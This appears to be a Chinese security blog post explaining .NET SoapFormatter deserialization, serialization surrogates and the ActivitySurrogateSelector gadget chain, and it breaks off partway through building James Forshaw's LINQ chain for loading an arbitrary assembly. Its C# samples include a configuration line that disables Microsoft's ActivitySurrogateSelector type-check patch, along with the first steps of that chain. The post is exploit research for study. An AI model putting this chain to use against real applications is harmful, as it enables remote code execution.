SoapFormatter反序列化链ActivitySurrogateSelector
前言:SoapFormatter反序列化漏洞
参考文章:https://www.anquanke.com/post/id/176499
参考文章:https://mp.weixin.qq.com/s/cu1U_ddtAM4nPwVKyPzoNA
参考文章:https://xz.aliyun.com/t/9595#toc-3
参考文章:https://paper.seebug.org/1418/#activitysurrogateselectorgenerator
SoapFormatter
SoapFormatter的命名空间位于System.Runtime.Serialization.Formatters.Soap.dll
SoapFormatter以SOAP格式序列化和反序列化对象或连接对象的整个图,并实现了IRemotingFormatter、IFormatter接口。
SOAP即Simple Object Access Protocol,简单对象访问协议,基于XML协议。SOAP是开放的协议,可以跨平台的其他程序也可以使用SoapFormatter序列化的文件。
SoapFormatter与BinaryFormatter的区别是:SoapFormatter不能序列化泛型类型,BinaryFormatter在序列化时不需要向序列化器指定序列化对象的类型。
.NET对象与SOAP流之间的转换
namespace SerializationCollection { [Serializable] class Person { public int age; public string name; public int Age { get => age; set => age = value; } public string Name { get => name; set => name = value; } public void SayHello() { Console.WriteLine("hello from SayHello"); } } class Program { static void Main(string[] args) { SoapFormatter soapFormatter = new SoapFormatter(); Person person = new Person(); person.Age = 10; person.Name = "jack"; using (MemoryStream stream = new MemoryStream()) { // 序列化写入数据 soapFormatter.Serialize(stream, person); string soap = Encoding.UTF8.GetString(stream.ToArray()); Console.WriteLine(soap); Console.WriteLine("========="); // 反序列化读取数据 stream.Position = 0; Person p = (Person)soapFormatter.Deserialize(stream); Console.WriteLine(p.age); stream.Close(); p.SayHello(); } Console.ReadKey(); } } }
在SoapFormatter中实现了两个接口,分别是IRemotingFormatter, IFormatter,而在IFormatter有代理选择器,如下所示
当为SoapFormatter设置了Person类的代理选择器,在序列化和反序列化的时候执行的就是PersonSerializeSurrogate中自定义GetObjectData和SetObjectData方法了
namespace SerializationCollection { [Serializable] class Person { private int age; private string name; public int Age { get => age; set => age = value; } public string Name { get => name; set => name = value; } public void SayHello() { Console.WriteLine("hello from SayHello"); } } sealed class PersonSerializeSurrogate : ISerializationSurrogate { public void GetObjectData(Object obj, SerializationInfo info, StreamingContext context) { var p = (Person)obj; info.AddValue("Name", p.Name); } public Object SetObjectData(Object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector) { var p = (Person)obj; p.Name = info.GetString("Name"); return p; } } class Program { static void Main(string[] args) { SoapFormatter soapFormatter = new SoapFormatter(); var ss = new SurrogateSelector(); ss.AddSurrogate(typeof(Person), new StreamingContext(StreamingContextStates.All), new PersonSerializeSurrogate()); soapFormatter.SurrogateSelector = ss; Person person = new Person(); person.Age = 10; person.Name = "jack"; using (MemoryStream stream = new MemoryStream()) { // 序列化写入数据 soapFormatter.Serialize(stream, person); string soap = Encoding.UTF8.GetString(stream.ToArray()); Console.WriteLine(soap); Console.WriteLine("========="); // 反序列化读取数据 stream.Position = 0; Person p = (Person)soapFormatter.Deserialize(stream); Console.WriteLine(p.Name); stream.Close(); p.SayHello(); } Console.ReadKey(); } } }
运行结果如下所示,可以看到age的值就是0了,因为我们自己控制了序列化和反序列化的操作,而在PersonSerializeSurrogate实现的时候只序列化和反序列化了name字段,age的值默认则为0
这里需要了解的一个代理选择器的一个特点,代理选择器能够原本不能被序列化的类可以用来序列化和反序列化
这句话如何理解?上面的代码中我们在使用代理选择器的时候,Person类是实现了序列化接口的。那么如果下面给出一个没有实现序列化接口的Person类看看是否实现序列化的操作
namespace SerializationCollection { // 没有实现Serializable class Person { private int age; private string name; public int Age { get => age; set => age = value; } public string Name { get => name; set => name = value; } public void SayHello() { Console.WriteLine("hello from SayHello"); } } sealed class PersonSerializeSurrogate : ISerializationSurrogate { public void GetObjectData(Object obj, SerializationInfo info, StreamingContext context) { var p = (Person)obj; info.AddValue("Name", p.Name); } public Object SetObjectData(Object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector) { var p = (Person)obj; p.Name = info.GetString("Name"); return p; } } class Program { static void Main(string[] args) { SoapFormatter soapFormatter = new SoapFormatter(); var ss = new SurrogateSelector(); ss.AddSurrogate(typeof(Person), new StreamingContext(StreamingContextStates.All), new PersonSerializeSurrogate()); soapFormatter.SurrogateSelector = ss; Person person = new Person(); person.Age = 10; person.Name = "jack"; MemoryStream stream = new MemoryStream(); // 序列化写入数据 soapFormatter.Serialize(stream, person); string soap = Encoding.UTF8.GetString(stream.ToArray()); Console.WriteLine(soap); Console.WriteLine("========="); // 反序列化读取数据 stream.Position = 0; Person p = (Person)soapFormatter.Deserialize(stream); Console.WriteLine(p.Name); stream.Close(); p.SayHello(); Console.ReadKey(); } } }
可以看到Person没有实现序列化的接口同样可以进行序列化操作,这边的话就是选择代理器的一个特点
其实这个点会比较好理解,因为反序列和反序列化的操作直接被我们接管了,那么如何操作就是我们的事情了
这个点如果要细究的话应该可以从正常的序列化操作中看出来,在原生的序列化的过程中应该存在判断该类是否可以被序列化的过程
但是这个又有一个问题,如果这个类被序列化了,反序列化的时候并不是用我们实现的代理选择器的类去反序列化的,这种情况下就会报错。
这边可以在反序列化的时候用一个新生成的SoapFormatter的对象去反序列化来进行验证,验证代码如下所示
namespace SerializationCollection { class Person { private int age; private string name; public int Age { get => age; set => age = value; } public string Name { get => name; set => name = value; } public void SayHello() { Console.WriteLine("hello from SayHello"); } } sealed class PersonSerializeSurrogate : ISerializationSurrogate { public void GetObjectData(Object obj, SerializationInfo info, StreamingContext context) { var p = (Person)obj; info.AddValue("Name", p.Name); } public Object SetObjectData(Object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector) { var p = (Person)obj; p.Name = info.GetString("Name"); return p; } } class Program { static void Main(string[] args) { SoapFormatter soapFormatter = new SoapFormatter(); var ss = new SurrogateSelector(); ss.AddSurrogate(typeof(Person), new StreamingContext(StreamingContextStates.All), new PersonSerializeSurrogate()); soapFormatter.SurrogateSelector = ss; Person person = new Person(); person.Age = 10; person.Name = "jack"; MemoryStream stream = new MemoryStream(); // 序列化写入数据 soapFormatter.Serialize(stream, person); string soap = Encoding.UTF8.GetString(stream.ToArray()); Console.WriteLine(soap); Console.WriteLine("========="); // 反序列化读取数据 stream.Position = 0; // Person p = (Person)soapFormatter.Deserialize(stream); var fmt2 = new SoapFormatter(); Person p = (Person)fmt2.Deserialize(stream); Console.WriteLine(p.Name); stream.Close(); p.SayHello(); Console.ReadKey(); } } }
如下图所示,可以看到会存在报错情况,其实很好理解因为soapFormatter对象Deserialize反序列化的时候走的是PersonSerializeSurrogate对象中的SetObjectData,而fmt2对象走的是原生的反序列化操作
最后fmt2会在这边进行报错,原因反序列化soap数据中解析一个Object的时候会先调用CheckSerializable方法来判断当前要解析的Object是否是可序列化的,这边我们实现的Person是无法序列化的话,所以在图中可以看到进入判断,最终触发异常
那么如果想要让fmt2对象走原生的反序列化操作并且还能够成功反序列化的话,这边的话就可以通过ActivitySurrogateSelector类来解决这个问题
穿插知识点ISerializationSurrogate和SurrogateSelector之间的关系
因为下面会用到SurrogateSelector,而上面的代码中用到的都是ISerializationSurrogate,这两个点的区别是什么不搞清楚的话容易混淆
这里就对比下SurrogateSelector和ISerializationSurrogate在序列化核心的区别是什么
首先先来看ISerializationSurrogate序列化代理器,测试代码如下
SoapFormatter soapFormatter = new SoapFormatter(); var ss = new SurrogateSelector(); ss.AddSurrogate(typeof(Person), new StreamingContext(StreamingContextStates.All), new PersonSerializeSurrogate()); soapFormatter.SurrogateSelector = ss; Person person = new Person(); person.Age = 10; person.Name = "jack"; using (MemoryStream stream = new MemoryStream()) { // 序列化写入数据 soapFormatter.Serialize(stream, person); string soap = Encoding.UTF8.GetString(stream.ToArray()); Console.WriteLine(soap); Console.WriteLine("========="); // 反序列化读取数据 stream.Position = 0; Person p = (Person)soapFormatter.Deserialize(stream); Console.WriteLine(p.Name); stream.Close(); p.SayHello(); }
可以看到我们实现的PersonSerializeSurrogate(继承于ISerializationSurrogate)是作为SurrogateSelector对象中的m_surrogates字段成员
然后再来看SurrogateSelector代理选择器
// Custom serialization surrogate class MySurrogateSelector : SurrogateSelector { public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector) { selector = this; if (!type.IsSerializable) { Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"); return (ISerializationSurrogate)Activator.CreateInstance(t); } return base.GetSurrogate(type, context, out selector); } } class Program { static void Main(string[] args) { System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true"); SoapFormatter fmt = new SoapFormatter(); MemoryStream stm = new MemoryStream(); fmt.SurrogateSelector = new MySurrogateSelector(); fmt.Serialize(stm, new Person()); stm.Position = 0; var fmt2 = new SoapFormatter(); Person person = (Person)fmt2.Deserialize(stm); person.SayHello(); Console.ReadKey(); } }
看到这里其实就可以明白,SurrogateSelector实际上是包含ISerializationSurrogate的存在,实现了ISerializationSurrogate对象都是作为SurrogateSelector的m_surrogates字段成员
还需要知道的就是这里走surrogateSelector.GetSurrogate的时候就是走我们实现SurrogateSelector对象中的GetSurrogate方法,这个GetSurrogate方法可以被重写
ActivitySurrogateSelector
using System; using System.IO; using System.Runtime.Serialization; using System.Runtime.Serialization.Formatters.Binary; using System.Runtime.Serialization.Formatters.Soap; using System.Text; namespace SerializationCollection { class Person { private int age; private string name; public int Age { get => age; set => age = value; } public string Name { get => name; set => name = value; } public void SayHello() { Console.WriteLine("hello from SayHello"); } } // Custom serialization surrogate class MySurrogateSelector : SurrogateSelector { public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector) { selector = this; if (!type.IsSerializable) { Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"); return (ISerializationSurrogate)Activator.CreateInstance(t); } return base.GetSurrogate(type, context, out selector); } } class Program { static void Main(string[] args) { System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true"); SoapFormatter fmt = new SoapFormatter(); MemoryStream stm = new MemoryStream(); fmt.SurrogateSelector = new MySurrogateSelector(); fmt.Serialize(stm, new Person()); stm.Position = 0; var fmt2 = new SoapFormatter(); Person person = (Person)fmt2.Deserialize(stm); person.SayHello(); Console.ReadKey(); } } }
这里可以看到fmt2并没有指定代理选择器,但是同样可以进行反序列化fmt序列化后的数据
ActivitySurrogateSelector原理
这里为什么通过设置代理选择为可以实现没有实现序列化接口能够被序列化呢?
这里可以先来到序列化的核心点来进行观察,首先我们此时是替换了surrogateSelector为ActivitySurrogateSelector
然后接着继续跟进surrogateSelector.GetSurrogate方法中,这边是通过实例化一个ObjectSurrogate对象返回
接着就来到了ActivitySurrogateSelector内实现的GetObjectData
这边跟进去会看到,在GetObjectData序列化的时候会执行info.SetType,将当前序列化的info对象类型设置为子类ObjectSerializedRef,而ObjectSerializedRef是可以被序列化的(继承Serializable)
info.SetType(typeof(ActivitySurrogateSelector.ObjectSurrogate.ObjectSerializedRef));,这里执行完了之后
然后最后序列化写入的对象就是ObjectSerializedRef,导致该对象是可序列化的行为
所以这边最后通过fmt2进行反序列化的时候不会报错,原因就是此时的stm对象已经是序列化对象,后续的过程就是正常的反序列化过程
关于DisableActivitySurrogateSelectorTypeCheck
下面这句话的操作是为了绕过高版本框架对ActivitySurrogateSelector类滥用的限制,这个是微软在.net4.8之后打的补丁,如果我们忽略这个补丁的话可以通过下面这句话
ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
可能有人想问这个是哪里触发的呢?这边其实是可以跟到的就是上面的这张图中
LINQ知识点
这里还需要穿插下LINQ知识点,这边还需要了解下LINQ的知识点,要不然下面的ActivitySurrogateSelector攻击链会不太好理解(自己是这样认为的)
官方定义对Linq是语言集成查询 (LINQ) 是一系列直接将查询功能集成到 C# 语言的技术统称。可以认为Linq就是使用Lambda表达式完成类似SQL语法的功能,sum、count、avg、排序、分组、分页等等,某些方面更强大,使用便捷。
简单的IEnumerable应用
如下代码所示,可以发现通过IEnumerable的对象来配合LINQ语法来实现遍历组合的操作
namespace LinqTest { internal class Program { static IEnumerable<string> Suits() { yield return "clubs"; yield return "diamonds"; yield return "hearts"; yield return "spades"; } static IEnumerable<string> Ranks() { yield return "two"; yield return "three"; yield return "four"; yield return "five"; yield return "six"; yield return "seven"; yield return "eight"; yield return "nine"; yield return "ten"; yield return "jack"; yield return "queen"; yield return "king"; yield return "ace"; } public static void Main(string[] args) { var startingDeck = from s in Suits() from r in Ranks() select new { Suit = s, Rank = r }; foreach (var c in startingDeck) { Console.WriteLine(c); } // 52 cards in a deck, so 52 / 2 = 26 var top = startingDeck.Take(26); var bottom = startingDeck.Skip(26); Console.ReadKey(); } } }
上面代码中的Ranks方法和Suits方法都是集合对象(也有叫序列),实现了IEnumerable
这里需要说下IEnumerable
GetEnumerator方法返回的对象包含用于移动到下一个元素的方法,以及用于检索序列中当前元素的属性。上面的代码中将使用这两个成员Ranks和Suits来枚举集合并返回元素。
由于此交错方法是迭代器方法,因此将使用上面的yield return
语法,而不用生成并返回集合,简单的理解就是通过yield return
语法就交替实现了GetEnumerator方法,当遍历这个集合的时候就是yield return
这些成员作为迭代的结果来进行返回。
对于Enumerable还可以直接匿名声明,如下代码所示
var students = Enumerable.Range(1, 10).Select(i => new { ID = i, Name = i>7? "hello" : $"hello{i}", Age = i < 5 ? 16 : i + 10 });
自定义查询方法
这边可以自己实现一个count方法来对某个集合数据进行符合条件计数
namespace LinqTest { static class A { public static int MyCount<T>(this IEnumerable<T> source, Func<T, bool> func) { int i = 0; foreach (var item in source) { if (func(item)) { i++; } } return i; } } internal class Program { public static void Main(string[] args) { var students = Enumerable.Range(1, 10).Select(i => new { ID = i, Name = i > 7 ? "hello" : $"hello{i}", Age = i < 5 ? 16 : i + 10 }); var count_result = students.MyCount(p => p.Name == "hello" && p.Age > 18); //Console.WriteLine(count_result); Console.ReadKey(); } } }
如下图所示,这边运行结果比较奇怪的是,发现控制台中没有结果输出
这里还需要提下关于LINQ的延迟执行的特性,就只有对生成的对象调用才算是执行
所以上面的代码的基础上加上Console.WriteLine(count_result);
即可有输出结果
ActivitySurrogateSelector攻击链
那么这边如何通过ActivitySurrogateSelector来进行利用呢?
IEnumerable到LINQ利用链
James Forshaw设计了一条反序列化调用链,借用LINQ顺序执行以下函数
byte[] -> Assembly.Load(byte[]) -> Assembly Assembly -> Assembly.GetType() -> Type[] Type[] -> Activator.CreateInstance(Type[]) -> object[]
要实现上面的步骤,跟下面的一个LINQ委托调用过程相似
public static IEnumerable<TResult> Select<TSource, TResult>(this IEnumerable<TSource> source, Func<TSource, TResult> selector);
第一步是byte[] -> Assembly.Load(byte[]) -> Assembly
,可以通过如下代码来进行实现,这里的拿到的e1对象是一个Assembly对象
List<byte[]> data = new List<byte[]>(); data.Add(File.ReadAllBytes(typeof(ExploitClass).Assembly.Location)); var e1 = data.Select(Assembly.Load);
接着第二步就是Assembly -> Assembly.GetType() -> Type[]
,可以通过如下代码来进行实现,这里的拿到的e2对象是一个IEnumerable
Func<Assembly, IEnumerable<Type>> map_type = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly,IEnumerable<Type>>),typeof(Assembly).GetMethod("GetTypes")); var e2 = e1.SelectMany(map_type);
接着第二步就是Type[] -> Activator.CreateInstance(Type[]) -> object[]
,可以通过如下代码来进行实现,这里的拿到的e3对象是一个IEnumerable
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
2020-03-25 网展cms红色风格V4.2 前台命令执行
2020-03-25 网展cms红色风格V4.2 前台多处SQL注入